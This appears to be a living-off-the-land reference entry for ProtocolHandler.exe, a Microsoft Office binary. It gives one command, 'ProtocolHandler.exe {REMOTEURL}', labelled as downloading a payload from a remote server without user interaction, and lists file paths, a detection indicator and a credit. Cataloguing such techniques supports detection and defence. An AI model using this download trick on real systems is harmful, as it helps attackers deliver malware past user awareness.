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LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

ProtocolHandler.exe

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Microsoft Office binary

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01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Downloads payload from remote server

COMMAND
ProtocolHandler.exe {REMOTEURL}
USE CASE
It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction)
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Suspicious Office application Internet/network traffic

COMMUNITY RESEARCH

Acknowledgements

Nir Chako (Pentera)@C_h4ck_0